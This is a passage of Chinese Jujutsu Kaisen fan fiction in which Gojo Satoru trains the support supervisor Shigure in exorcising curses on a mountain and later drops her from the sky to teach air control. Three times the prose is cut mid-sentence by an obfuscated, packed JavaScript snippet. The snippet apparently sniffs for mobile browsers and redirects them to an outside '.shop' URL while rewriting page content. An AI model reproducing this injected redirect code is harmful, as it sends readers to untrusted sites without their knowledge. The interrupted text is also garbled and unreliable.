“那就说说乙骨的任务吧。上周乙骨忧太和咒骸熊猫的任务现场,检测到了既不属于这两位,也不属于现场咒灵的咒力残秽。”停顿片刻,那个声音压低了些许,“是和去年长野那次近似的痕迹。里见时雨,教会势力安插的辅助监督,五条悟,她的术式——” “辅助监督有点自保能力而已。”五条悟打断得依旧干脆,嘴角挂着笑,“怎么,诸位是觉得辅助监督就只能做待宰的羔羊,等待咒术师的拯救吗?” 房间里陷入了短暂的沉默。 “但是——” “与其盯着一个辅助监督,不如想想为什么交给乙骨的任务总是会出意外?”五条悟歪了歪头,语气低沉了几分,“说是一个评定二级的咒灵,结果不仅现场实际有两个咒灵、拥有一定智慧,还有前期任务情报上完全没有提及的分身能力。任务情报不准确,还是等级评定制度有问题?” 五条悟直起身,隔着绷带的视线扫过暗处的几道身影,半真半假地抱怨着:“总不能是有人故意隐去了信息,要把这些容易出事的任务交给高专的学生吧?” “同样的事情要是再发生的话,咒术总监部未免也太过无能,要不然切腹引咎辞职算了吧?”敛起面上的笑容,五条悟的神情多了几分不容置喙,“我身边的人,就不劳各位费心了。” 说完并不等房间里任何一人的回复,五条悟就已然转身推门离开。 这侧的走廊里安静得过分,让他想起了些五条本家大宅的回忆,连木质的窗框都感觉散露着几分腐朽的气息,真是令人不悦。 五条悟朝着停车场走去,随手扯了扯绷带,正准备往外走,余光却瞥见走廊转角处站着的两人。 时雨正微微仰头,和一个身着教会服饰的金发年轻男人说着什么。晨光落在她的侧脸上,那张平日里大多时候保持着距离感的脸此刻难得地放松了些。那个男人说了句什么,时雨抿唇笑了一下。 五条悟停住脚步,打量着两人之间的不远不近的距离,又看着男人递给时雨一个纸袋。看口型时雨大概是道了谢,又说了什么,随后男人身后露出了几只狐狸的脑袋。 狐狸? 五条悟从脑海里扒拉出以前并没有太多关注过的记忆,把金发男人和记忆中几面之缘的人物对上了号。那是尾崎家的五狐神代行者——尾崎瑛? “时雨——”五条悟慢悠悠地走过去,拖长了声音,“不是说好在车上等我的吗?” 两人同时转过头来。 五条悟走近,很自然地站到了时雨的身侧,比尾崎瑛还要更靠近一些。 “五条先生。”时雨抬头看他,“您结束了?” “嗯,那群老头子的话太无聊,我就随便应付了几句。”五条悟说着,目光落在尾崎瑛身上,“尾崎是吧?四兽神家不是听说最近在负责青森那边的异动吗,五狐神的代行者怎么还有空来总监部?” 明明称不上熟悉,只是在某些场合的几面之交,五条悟的词典里却好像从未有敬称这件事。 但尾崎瑛却似乎半点不在意,只是温和一笑,“好久不见,五条先生。我只是来处理些文书工作,正好碰到时雨,就打个招呼。” 五条悟不甚在意地点了点头,低头看向时雨,“怎么跑那边去了?不是交完材料就回车上等我吗?” 时雨顿了顿,看了眼尾崎瑛,又看向五条悟:“一会儿路上说。” 五条悟挑了挑眉,没有继续追问。 尾崎瑛适时地开口:“那我就不打扰了。时雨,有事随时联系。”顿了顿,又补充道,“五条先生也是,如果有需要四兽神家协助的地方,请随时开口。” “那就多谢了。”五条悟敷衍地摆摆手,对四兽神家的橄榄枝不甚在意,“走啦,时雨,还得赶去伏岩山。快点结束的话,还能赶上一顿下午茶啦。” 告别尾崎瑛,时雨跟着五条悟的步伐,走出咒术总监部的大门,临近十点的日光洒在身上,驱散了建筑内的阴冷。 时雨解锁了车辆,走向驾驶座,五条悟则拉开副驾驶的门钻了进去。 时雨系上安全带,又将手中的纸袋放在了驾驶座和副驾中间的置物架上,“您如果想休息的话,后排的空间会更宽敞些。” 五条悟默不作声地扣上安全带,懒散地靠在座椅上看着时雨启动车辆,“今天累的不会是我哦。我会好好‘袖手旁观’的。” 时雨起步车辆,应声着:“这一点我早有心理准备。” 五条悟冷不丁道:“那要不要我开车?毕竟出任务的是时雨诶,还要你开车,显得我是个很压榨下属的上司诶——” “如果您对伊地知先生说这句话的话,说不定他能感动到哭出来给您看。”时雨面无表情转动着方向盘,“但没记错的话,伊地知先生说过,您拿到驾照后就几乎没有自己开过车吧?为了我们两个人的生命安全着想,方向盘还是控制在我手里更安心一些。” 五条悟嘟囔着,长腿微微蜷曲,“回去一定要掌掴那家伙……” “做个人吧五条先生。” 车子驶出停车场,开上主路。周六晨间的东京车流还不算多,时雨很快就驶上了通往伏岩山的高速。安静了一会儿,五条悟偏过头,像是不经意的好奇:“所以,时雨刚才是被叫去哪儿了?只是递交报告的话,应该早就结束了吧?” 时雨专注地看着前方,语气坦然:“教会派人来找我,说长老们那边叫我过去。” “教会的老头子?”五条悟托着下巴,斜靠在座位上,侧身更转向时雨的方向,“找你做什么?监视我吗?” “是。”时雨很干脆地承认。 五条悟笑出声,捏了捏自己的鼻梁,“承认得也太爽快了吧?” “您一猜就能知道,我又有什么必要隐瞒。” 车内陷入短暂的沉默。五条悟靠在椅背上,隔着绷带看向时雨的侧脸。六眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290092|198490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不会因为绷带而视线受阻,只是帮他过滤了些许纷杂的咒力流动,让他的大脑稍得片刻喘息。 阳光透过车窗打在时雨脸上,勾勒出流畅的轮廓线。 “时雨是怎么回答的?”五条悟问。 “当然是拒绝了。”时雨回应,“您身边大概早就布满了各界的眼睛,并不差我这一双。让我来监视您,多少高估了我的地位,好歹应该先去收买伊地知先生吧?” 五条悟一瞬失语。 时雨并没有注意到五条悟的沉默,接着道:“不过还好瑛及时出现,把我带了出来。不然的话,我可能不得不又闹出些动静来,也不知道还能否有机会再回高专当辅助监督了。” 五条悟无聊敲着扶手的指尖停顿了片刻,“难怪刚才在里面忽然感受到了一阵咒力的流动,尾崎瑛放出了五狐?” “嗯。”时雨颔首,握着方向盘的手微微收紧,“抱歉,给您添麻烦了。” “诶——?” “教会和总监部那边都在试探我的能力。”时雨顿了顿,“正如刚才说的,您身边早就有太多人盯着,现在因为我——” “时雨。”五条悟打断她,目光却收了回来,“如果不是你的话,忧太上次的任务大概就又会被借题发挥,辅助监督的受伤或是死亡,甚至可能又会旧事重提忧太的死刑执行。看我不顺眼的人是很多啦,所以多几个也早就无所谓了。” 他伸手,隔空在时雨头顶比划了一下,像是要摸她的头,最后只是轻轻落在她肩上拍了一拍。 “而且,时雨有自保能力不是很好吗?”五条悟的语气又恢复了轻快,“至少不用担心你会出事,我不想动的时候还可以让你帮我处理点简单的小任务磨炼下你。” “您只需要说前面那句就好了。”时雨刚柔和下的眼神又变回了麻木,“请赔偿我刚多余的感动。” 说是这么说,时雨却还是忍不住侧头看了五条悟一眼。男人依旧维持着那副懒洋洋的姿态,却莫名让人安心。 “对了。”五条悟忽然想起什么,指了指放在两人中间的油纸袋,“尾崎瑛给了你什么?” “是替葵——瑛的姐姐转交的。听说是她和五狐做的松饼。”时雨有问必答地回复,“您想试试吗?” “当然。”五条悟理直气壮,“指导学生可是超——辛苦的诶。过会儿带上山,就当今天时雨的学费好了,Great Teacher Gojo的一对一课外辅导时间马上就到!” 时雨叹了口气:“知道了。” 在五条悟好为人师的时刻,时雨放弃了纠正自己并不是他的学生这一点。 五条悟轻笑,转头望向窗外飞速后退的景色。 “话说——” “嗯?” “下次无论是教会还是总监部那边再找你麻烦,闹出点什么动静也没有关系哦。”五条悟的语气放松,却透着几分笃定的淡然,“不管闹出多大的麻烦,你也是……东京高专的人嘛,不会放你一个人被那群老橘子欺负的。” 时雨愣了一秒,随即配合地点头:“好。我会记得向Great Teacher Gojo求助的。” 车子驶下高速,穿梭进了林间小道,继续朝着伏岩山的方向疾驰而去。晨光夹杂着树影落入车窗,在两人之间拉出细碎的光影。 8. 第 8 章 时雨将车稳稳停在了山脚的空地上,不同于城市里的车水马龙,山间的空气中多了几分潮湿的泥土味道。 五条悟推门下车,走到后备箱前,熟门熟路地打开,从里面掏出了一个小炉子、咖啡豆、摩卡壶,几包小零食,还有一整包的方糖。 时雨脱下身上去咒术总监部时穿着的西装外套,只单穿着白色的T恤,左手手腕绑了一条手帕,又将鞋子替换成了放在驾驶座抽屉内便于行动的运动鞋。 下车的时候,正看到五条悟抱着满满当当的东西,一边伸长着胳膊顺势甚至从后备箱里掏出了一把折叠椅。 时雨:“……” 看着自己后备箱里原本放着急救箱和备用咒具的位置被意料之外的东西占据,时雨沉默两秒,表情有些一言难尽:“您是什么时候……” 她的车里本来可没有这些有的没的露营用具。 “昨晚哦。”五条悟捞出折叠椅后关上了后备箱,甚至心情颇好地哼了两声,“伊地知那里有备用车钥匙嘛。” 时雨麻木地看他,“我们是来祓除咒灵的,不是来郊游。另外您这些用具应该不会需要我申请报销吧?” 毕竟面前这个男人,可是有在和京都校联合任务的时候买了全套烧烤用具还要求伊地知报销的前科在。 明明一边领着特级咒术师的工资,一边领着祓除特殊咒灵时高昂的赏金,还有御三家之一的五条家的支持,五条悟却总试图在任务过程中试图报销一些奇怪的费用。 烧烤用具、新出的甜品、运动器材……明明自己随手买的一件衬衫都能够抵得上一半的任务奖金,也时常自掏腰包请学生们吃大餐,但他却致力于在报销这些出格的花费,让伊地知苦不堪言,只能安慰自己这是来自五条先生的考验。 “这倒不用哦。”五条悟轻快回应,还没等时雨感慨他今天意外的分寸感,就听他补道,“上次和伊地知出去出任务的时候,他就已经帮我申请过啦,所以这次算是二次利用!零食的话,是从宿舍厨房那边拿的,所以也不用!” ——真是了不起啊伊地知前辈。 ——厨房里的是学生们自己买的零食吧无良教师! 时雨槽多无口,最后化为一声清浅的叹气,放弃了评价。从车座前排拿起装着点心的纸袋,随手塞进了背包,时雨跟着怀里满满当当的五条悟,朝着山中走去。 山道林木茂密,越往深处走,咒力波动就愈发明显。 时雨停在一片开阔的空地前,从背包中取出了一张符纸。符纸用朱砂勾勒着复杂的纹路,像是什么精密的回路图。 “这是什么?”五条悟挑眉,已经坐在了折叠椅上,嘴里叼着一包便利店常见的儿童巧克力牛奶。 虽然六眼已经捕捉到了咒符上流动的咒力走向,不妨碍五条悟还是好奇地询问。 “改良过的帐。原本辅助监督设下的常规帐一般只能检测到四级以上的咒力,如果帐内没有四级以上的咒力便会判断任务已经完成而自动消散。” 正如上次和乙骨忧太还有熊猫出任务时候一样,却因如此,导致具有分身和隐匿能力的咒灵骗过了帐,险些逃脱。 “还真是好学生啊——”五条悟叼着牛奶吸吮着,口齿含糊,“所以做了些改良?” “是。但辅助监督大多没有通过咒钉等器具设下强结界的能力,所以我把新的结界束缚融入了咒符,而不用依赖咒钉支撑。”时雨将符纸夹在两指中间,向前轻翻,“由暗而生,暗中至暗。污浊残秽,尽数祓除。” 随着她低声念诵着咒文,符纸自燃了起来,却没有烟雾和纸灰,只在片刻后消失在了时雨手中。透明的波纹迅速扩散,将整座伏岩山笼罩其中。 五条悟往后靠在椅子上,没有提醒时雨这个能笼罩整座山的范围的帐,可不是一般的辅助监督的咒力能够完成的。 “真是用功啊……只要咒灵不除,谁也别想下班,哪怕里面剩下的只是一只蝇头?” “如果咒术师判断里面剩下的咒灵不具有更大的危害性,也可以从内侧解除帐。”时雨抿唇,“我会尽快处理的。” “那就还是按上次的规则哦。”五条悟从旁边的露营包里翻找了下,掏出一把黑色的木剑,丢给了时雨,“这次就用这个吧。用咒符加强过,所以能承载一定的咒力。咒力均匀覆盖的情况下,坚硬程度可以轻易切开二级以下咒灵,但只要咒力的覆盖不够均衡就会容易断裂哦。” 看着时雨接过木剑,五条悟隔着绷带扫了眼身后的枝头,“你的小乌鸦就留在这里陪我吧。” “嘎——”不远处的树梢上,不知何时跟到这里的乌鸦鸣叫了一声,歪头看着时雨。 “知道了。”时雨深吸一口气,踏入林间。 林间传来窸窣声响,几只野兽形态的低级咒灵从阴影中显现,在树干间跳跃穿梭。 位于东京都西部山区的伏岩山,海拔虽然不高,但因为地形复杂、林木茂密,加上附近有多条废弃的登山道和荒废的神社遗址,和自平安时代以来的土地神信仰,多年来一直是咒灵聚集的高发地带。 普通人偶尔会在这里失踪,或是带着惊恐的神情从山中逃出,口中喃喃着些不可名状的呓语。窗口的人会定期上报后请专业人士处理清除他们的记忆,又将这些归结为山中野兽或是迷路造成的恐慌。 而恐慌的聚集又会催生更多新的咒灵的诞生,在循环往复中,伏岩山成了一个需要周期性清理咒灵的地方。 于是每隔三个月左右,伏岩山的咒力波动就会达到峰值。低级咒灵在这里繁殖生长,偶尔会诞生一两只具有危险性的二级甚至准一级咒灵。如果放任不管,这些咒灵随着游荡范围的扩大,或许会对附近的居民区造成威胁。 也正因如此,伏岩山的清理任务通常会分配给一级咒术师,或是像五条悟这样的特级。任务本身并不算困难,但咒灵数量多、分布广,需要大范围搜索和清理,是个耗时耗力的活计。 如果是交由五条悟的话,六眼能够精准捕捉到整座山中的咒力波动,不会存在遗漏。 但对五条悟来说,这里的任务多少有些无聊。自从去年冬天在长野发现了时雨的术式,他开始更多带着时雨出任务。一段时间后,他在三个月前第一次带时雨来了伏岩山,交由她来祓除山中的咒灵。 一开始或许是试探也是考验,后来又多了几分锻炼的意味。 但无论五条悟初衷如何,实战经验算不上丰富的时雨确实在过程中感受到了自己对咒力和术式运用能力的提升,于是也心甘情愿。 时雨握紧手中漆黑的木剑,感受着剑身传来的微弱的咒力波动,下一刻沉下心神,将自己的咒力均匀地覆盖到剑身上。 她的术式让她习惯了远距离的操纵,又习惯了本身就咒力强大的村雨来弥补近战的缺陷,体术和近战原本并不是她擅长的范围。只是她学习能力向来不弱,经过了这几个月的训练—— 第一只咒灵从侧方扑来,类似野兽的獠牙上还滴着腐臭的粘液。时雨侧身避开,木剑顺势横扫,术式沿着剑身上的咒力流动向前。剑刃略过咒灵的颈部,咒灵的动作骤然停滞,像是被按下了暂停键。下一秒,咒灵的身体从切口处断裂,除了暗紫色的血液外,身体骤然消散。 时雨低头看了眼完好无损的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290093|198490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑身,深吸一口气,踏入更深的林间。 虽然并未放出八房,但和八房的特殊契约让她几乎等同于犬神代行者,五感也如同被五狐神选中的尾崎瑛一样加强。意识和视野随着散出的咒力飘散而开,她清晰地感知到周围各处诅咒的气息。 林间的窸窣声越来越密集,更多的咒灵从树干后、灌木丛中显现出来,几乎合成包围之势。咒灵形态各异,有的近似人类的形态,有的像是什么畸形的野兽,还有些像是人类和其它物种的杂交…… 粗略数数,至少有三四十只。 如果放着五条悟在这里,恐怕要以“长得有碍观瞻”为由先来上一发「赫」。 第二只、第三只咒灵接连扑来。 时雨的动作流畅,木剑在空中划出弧线,每一次挥砍都精准地命中要害。咒力均匀覆盖,木剑没有出现任何裂痕。 一只像是巨型蜘蛛的咒灵从树冠上垂落,朝着时雨张开满是利齿的大嘴,嘴里还向外吐着蜘蛛丝,不知又是哪些想象力丰富的旅人外溢的恐惧。 ——要不大家还是少看些野外恐怖故事吧。 时雨一言难尽地想着,没有握着木剑的左手指尖在空中轻轻一滑。无形的咒力波动扩散开来,周围三米半径内的时间流速骤然减缓,蜘蛛咒灵的动作也变得极其缓慢,此刻倒更像是被困在蜘蛛网上的猎物。 时雨趁机绕到它的身侧,木剑刺出,精准贯穿了它的咒力核心。 又一只咒灵消散。 但三米半径的减缓范围终究太小,而且维持的时间有限,面对如此数量的咒灵,多少效率仍显得有些低下。 时雨轻扫周围的幻境,举起左手,感受着风的方向。 咒力在掌心汇聚,一些气流的流速加快,另一些则减缓,空气因为时间流速差距而开始汇集,形成数道高速流转的气流。 她将手掌向前一推,数道风刃呼啸而出,精准地切向扑来的几只咒灵。那些咒灵甚至来不及反应,身体就被风刃切成了数段,瞬间消散。 时雨没有停顿,继续调用着咒力,一边挥动木剑解决近距离的咒灵,一边配合着风刃清理稍远处的家伙。动作流畅,没有多余的停顿。 更多的咒灵涌来,像是无止境一般。时雨呼吸略重了些许,但好在体内的咒力仍算得上充盈。 借着这个难得的实战演练的机会,时雨开始尝试一些新的组合。 除了减慢咒灵的攻势和风刃,她也尝试着在适当的时候针对性加快某些咒灵的速度,让他们在混乱中自我消耗,趁着咒灵失去平衡的瞬间顺势完成收割。 风刃偶尔没有奔着咒灵而起,而是堪堪砍断了旁边作为荫蔽的大树。摇摇欲坠的树干在时雨的控制下以急速下落,重重砸在树下的咒灵身上。 “啧。”时雨再度利索地一剑贯穿对方的咒灵核心,却还是不满地轻皱起眉。 ——裹着她咒力倒下的树干明明应该可以将这个咒灵一击毙命的。 要在战斗中准确无误地控制咒力的走向和术式的搭配,要求对咒力的运用极度精确。相较于可以通过六眼达到咒力极其精细化运用的五条悟,时雨的战斗多少还显得粗糙了些许。 她看向周围,咒灵的数量已经减少了大半。剩下的大多是些四级的蝇头,还有零星几只三级。就在这时,更深的林间传来一阵剧烈的咒力波动。 比之前遇到的那些都要更为剧烈的那股咒力逐渐靠近。 ——出门前应该看看运势的。 在这一波三折的早上,时雨再一度闭眼轻叹了一口气。 再睁眼时,琥珀色的眼眸中只余清明的战意。 9. 第 9 章 隔着一片茂密的灌木丛,时雨看见了刚才压迫感的来源。 那是一只身形大约有三米高的咒灵。相较于大多畸形的咒灵,面前这只咒灵倒是多少还能看出近似成年麋鹿的形态。鹿角扭曲地向上生长着,像是枯朽的树枝,上方系满了打结的签文。 咒灵幽绿色的眼睛像是盈着火焰,发出嘶哑的声音:“大——凶——” 时雨:“……” 刚还在想着出门前应该看看运势,这下就被一只咒灵直接揭晓了,怎么不算是有求必应呢。 虽然对于这里的神社文化并不了解,但对于抽到凶签就打结挂在神社结签架上,寓意不将厄运带走这种游客都知道的常识,时雨还是有所耳闻的。 祈愿、祝福、渴求,恐惧、不安、迷茫…… 情感的流动是咒力外泄的催化剂,而所谓信仰,何尝不是再浓厚不过的情感了。 咒灵低头,用那对尖锐而扭曲的鹿角冲向时雨,地面都被踩踏出了深深的蹄印。 时雨灵巧地侧身闪避,在咒灵从她身旁冲过的瞬间,数道风刃斜斜切向咒灵的后腿,却只留下了几道浅浅的伤口。 相较于刚才的二级以下咒灵,这只咒灵的防御力显然要高上一截。 时雨稳住身子,反手朝着咒灵的方向挥出一刀,却挥了空。 咒灵凭空消失了。 时雨瞳孔微缩,下意识向左侧翻。下一瞬间,刚才那只消失的咒灵就出现在了她方才站立的位置,鹿角擦着时雨的肩膀狠狠扎进地面,溅起一片碎石。 时雨落地站稳,又迅速拉开距离。 肩膀传来火辣的痛感,哪怕已经及时运转咒力护住了身体,左肩仍是被撕开一道口子,白色T恤的边缘瞬间被渗出的血珠沾染上了颜色。 远处在树下托着咖啡杯用六眼观测着的五条悟身边,村雨下意识扇了扇翅膀。 “稍安勿躁嘛。”五条悟漫不经心地从零食堆里抽出一根牛肉干,朝着乌鸦的方向一扔,蒙着绷带的六眼却依旧关注着山林深处的砂石横飞的方向,“虽然一开始并没有预料到会有一级咒灵,但时雨可以做到的可远比这要多哦。” 瞬移的术式?失去了攻击方向的预判,那就只能在咒灵出现的瞬间作出反应。 咒灵从地面拔出鹿角,再次用幽绿色的眼眸盯向时雨。 “凶——” 低沉的声音像是某种宣判,随之咒灵的身形再度消失。 时雨没有慌乱,反而闭上了双眼,静心感受着周围咒力的波动。 刚才附近的咒灵被清除了不少,让咒力的捕捉少了几分难度。侧面的空气轻轻波动,像是水面掀起一层涟漪。 时雨猛地睁眼,木剑向右后方横扫而去,与鹿角碰撞出一声闷响。 时雨因为反震的力道后退了两步,咒灵却又消失在了原地。 几轮猝不及防的反复下,时雨轻喘看着再度凌空出现的咒灵,终于确认了自己的猜测。 虽然像是凭空出现在了另一个地方,却仍需要有符合空间意义的轨迹。 于是,在下一次咒灵出现时,时雨右手裹挟着咒力挥出一刀,左手则同时结印对准了咒灵的方向。 咒灵闪避着裹挟着咒力的刀风,下一秒身形又即将隐去,却像是被什么阻挠了瞬移的时间进度。 时雨左手加速结印,捕捉着这一瞬的停顿。以她为中心,三米半径内的空气被时间流速差搅动,形成一圈风刃,像是龙卷风一般向着四周扩散,同时解除了对咒灵的减速控制。 咒灵在半空中显现,试图逃离风刃的包围,所有向外的轨迹却都被封锁,无论出现在哪个方向都会时雨的风刃击中。数十道强劲的风刃切过它的身体,在皮肤上留下深浅不一的伤口,引得它踉跄落地。 时雨并没有给它喘息的机会,蹬地而起,咒力凝聚于木剑之上,重重刺穿了咒灵的胸口。咒力顺着剑尖向外扩散,扩大着伤口,像是有一声金属铃铛落地的脆响,咒灵的咒力核心随之被贯穿。 咒灵的身体僵硬了片刻,鹿角上的签文纷纷散落,在最后一声嘶鸣后轰然倒地,又随着咒力的消散而溃散在了空气之中,除了周围战斗过后的残骸外没有余下任何痕迹。 时雨手中的木剑承受了太多的咒力,在震颤中碎裂,七零八落地散落在了地上。 带着肩膀上仍隐隐作痛的伤口,时雨快速用术式解决了残余的低级咒灵。环视周围,终于不剩下任何咒灵的气息,而起初进入时放下的帐也在感应到所有咒灵的消失后自动升起。 时雨望了眼高悬的太阳,朝着五条悟所在的空地处走去。 回到来处时,五条悟还坐在折叠椅上,面前的小炉子上已经煮好了一杯咖啡,咖啡的香味强势地占据了时雨的嗅觉。 “哟,欢迎回来。比想象的还要快一点啊。”五条悟朝着她挥挥手,递过一杯咖啡,“新鲜出炉的五条手作咖啡,请用。” 时雨没有客气,接过咖啡闷头灌下半杯,用咖啡因抚平些许刚才的疲惫。 “真是暴殄天物啊,这是埃塞俄比亚的瑰夏诶——”五条悟夸张地拉长着语调。 再抬头时,只看见五条悟正往自己那杯咖啡里加着仿佛致死量的方糖。 时雨一言难尽地看着他加糖的手,“暴殄天物这一点,您也不逞多让。” 五条悟充耳不闻,美滋滋地喝着手里的咖啡,像是终于满足了甜度一般惬意地舒了口气,这才朝着时雨的左侧抬了抬下巴,“那个伤口,不处理一下吗?” 时雨低头看了眼左肩混杂着泥土和血迹的伤口,轻轻转动了下左肩,“没有伤到筋骨,只是擦伤而已。回去再说吧。” 五条悟却已经充耳不闻地翻找起了时雨放在一旁的背包,熟门熟路地从里面拿出了个迷你急救箱,“哈,果然有带。” 时雨:…… “好啦,别像是不肯去医院打针的小朋友一样了。”五条悟站起身,朝着时雨招招手,“过来。” 时雨犹豫两秒,站到了五条悟身前。 平心而论,时雨在女生中算得上是高挑的身材。一米七五的身高加上偏瘦的体格,走在这个国家的街头视觉效果甚至比大部分的男性还要高一些,但走到五条悟的近前时才发现自己也只是勉强到他下巴的位置。 ——这人到底多高啊,一米九五? “肩膀的衣服往下拉一点。” 时雨顿了顿,依旧照做了,露出一截莹白的肩头。 “伤口倒是不深,还以为时雨会更惨一点呢。”五条悟用碘伏沾湿棉球,一边算得上轻柔地擦拭着时雨的创口,一边道:“时雨的时间术式基本分成两种,正向和逆向的「时阶调律」。正向的术式你常用的是加速空气的流动而形成风刃,作为辅助监督时时常使用的物品修复和记忆消除则是逆向的术式。” 时雨因为肩上碘伏棉球冰凉的触感略微瑟缩了一下。 五条悟手一顿,换了个棉球,继续伤口的消毒,“除此之外,在战斗中加速或是减缓咒灵或是物品的速度这一点,你已经再熟练不过了。按术式的束缚守则来说,只要是咒力低于你的对象,加上消耗和逆转所需的咒力在你的总咒力范围内,你都可以使用「时阶调律」,改变对方的时间节点或是时间流速而不受到反噬,甚至可以对于时间类型的术式做到无效化。但是——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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五条悟方才身上那股理性的审判像是忽然被抽离,苍蓝的眼眸里带上了几分玩味和跃跃欲试,像是天空坠入湖面,多了几分生气,“想试试吗?” “试试?”时雨不解,因为刚结束的战斗而放松了心神,于是慢半拍才歪着脑袋看向面前的男人。 五条悟把手里的绷带随手塞进高专外套的口袋,左手忽然伸向前,揽住了时雨的腰。下一秒,急速略过的风拂乱了时雨的头发,而风稳定下来时,两人已经站在了高空处,俯瞰着整座伏岩山。 时雨并不畏高,但很讨厌失重的感觉。 他们所处的位置,大概已经是伏岩山顶还要再高出百米的高空。而正是因为五条悟的「无下限」,他们才能稳稳凭空立于高空。 她瞥过五条悟轻搭在她腰间的大手,隔着单薄的T恤传来些许温度。如果仅靠着这点力量,大约是不足以揽着她物理意义上天的。 「苍」还能这么用的吗? 她回想起前几天在高专操场上,她那杯临近翻洒时被五条悟用一发精准的「苍」吸进手中而分毫未洒的咖啡,后知后觉地意识到现在的自己就是那杯咖啡的待遇。 思绪抽离回这数百米的高空,时雨转头看见男人明亮得异常的苍蓝色眼眸,忽然有了几分不妙的预感。 “您说的试试——” 五条悟像是有片刻的走神,沉默了片刻,随即露出一个称得上是灿烂的笑容,文不对题地问了一句,“时雨或许可以更疯狂一点哦。” 下一秒,预感成真。 刚才还贴合在她腰间的大手毫无征兆地收了回去,连带着维持着她在空中平稳的「无下限」术式一起。 重力在瞬间捕获了时雨失去依仗的身躯,令人厌恶的失重感席卷全身。 耳边那阵原本还算温顺的微风,在失重的刹那突变成狂暴的轰鸣。视野里的伏岩山像是一张被飞速拉近的深绿色地毯,林野在瞳孔中不断放大靠近。 铂金色的发丝凌乱地打在脸上,视野在旋转中瞥见上空那个插兜悠然站着的男人,几近空白的大脑里闪过最后的念头。 ——这家伙一定没有教师资格中这种东西吧无良教师! 10. 第 10 章 东京的初夏午后,阳光带着几分草木蒸腾的暑意。时雨现在所在的宅邸是来到东京后尾崎葵为她挑选的。住宅区地理位置便捷,恰到好处地隐于闹市,又因为大多是独栋的洋房,每家每户都被灌木的围墙掩映,偷得闹市区的一隅宁静,只是偶尔能听到隔壁的幼崽在花园里一个字一个字往外蹦的咿呀学语声。 时雨大多时候都住在高专的宿舍里,方便及时接送五条悟和其他学生的任务,以及偶尔去家入硝子所在的医务室协助一些后勤的事项。但尾崎葵像是在她身上找到了养妹妹的乐趣,非常妥帖地为她安排了这座宅邸,给出的理由也非常无法拒绝——八房值得在一个有花园的宅邸偶尔出来透透风。 高专里术师众多,八房的咒力又未经注册,无法轻易放出。虽然除非召唤,八房大多时候都在父亲那边,但偶尔也会冒出来到时雨身边,确实有个独立的宅邸会更方便自由一些。 此刻的时雨,正坐在花园长廊的尽头,脚尖有一下没一下地伴着木地板上斑驳的树影晃动。八房化作了比一般的萨摩耶还要大上一两倍的巨犬身形,安静趴伏在时雨身侧,温热的皮毛随着呼吸起伏,心甘情愿地充当着时雨的大型靠垫。 时雨半靠在八房身上,半边侧脸埋在八房蓬松的毛发里,手也下意识捋着八房的毛发,视线却在和隔壁邻居家之间的围篱上失了焦。 时雨脑海里不受控制地回想起三天前在伏岩山那个令人恼火的“自由落体”。那一瞬间的失重感似乎还残留在她的身体里。快速下坠的时间大约只有十秒,哪怕明知五条悟不会放任她摔死,她仍旧在短暂的大脑空白后强行专注捕捉着空气的脉络。 那本该在千百次的锻炼中逐渐熟悉的精细咒力控制,被浓缩成了十秒钟的极限课堂。在急速下坠中捕捉风的轨迹,对自身下落时间的控制,周围风的反向流动以保持平衡…… 当脚尖轻轻落入落叶堆的刹那,强撑着酸软的膝盖,时雨心跳的跳动声鼓噪地像是在脑海里鸣钟。 虽然有惊无险,但时雨还是在某位无良教师带着得逞的笑意轻巧地朝着她啪啪鼓掌、没心没肺地说着“这不是一下子就学会了嘛”的时候,紧绷着一张血色不足的脸扭过了头。 一路沉默着将五条悟送回高专,对于某人一贯的插科打诨都秉承了不接茬的态度,甚至在高专门口放下五条悟后就开车离开,趁着正好没有给她安排什么任务的档口以“休假”为由躲在了东京的宅邸中,连五条悟发来的消息都没有回复,只是公事公办地上交了一份任务报告。 时雨鼓嘴,无聊地吹着八房背上纯白的毛,对着他自言自语,“我是不是有点反应过度了?” 八房抬起头,紫罗兰色的眼眸安静地注视着时雨,白色的长尾悠闲地扫了一扫。 时雨整张脸埋进八房背上,狠狠蹭了蹭,在从小陪着她长大的八房面前露出了几分孩子气,“工作明明不应该有情绪的。” 半晌,在逐渐高悬的日头下,时雨起身走进厨房,想随便找些点心垫垫肚子,晚上再出门去觅食。只是打开冰箱,里面空空如也——她这几天都是敷衍地靠外卖解决了自己的用餐,根本没剩下什么多余的东西。 八房跟着进了屋,沉默地看了眼时雨的冰箱之后安静地盯着她,没有表情的脸上被时雨品出了几分来自家长的压迫感。 时雨心虚地挠挠脸,“不许和爸爸告状。” 忽然想起那天尾崎葵托尾崎瑛转交的点心,时雨翻了翻那天回来后就扔在客厅沙发上没有动过的背包,并没有找到那个牛皮纸袋。 时雨愣了两秒,回想起来。那天在伏岩山,五条悟嚷嚷着想吃甜点,她没好气地把整袋点心都随手塞给了五条悟。想来那袋原本该属于她的松饼,此刻早就在某个男人的胃里化成了多巴胺。 算了,就当是学费了。 这种思绪一旦蔓延便有些不可收拾,直到这种因短暂休假而带来的清净被一通来自家入硝子的简讯打破。 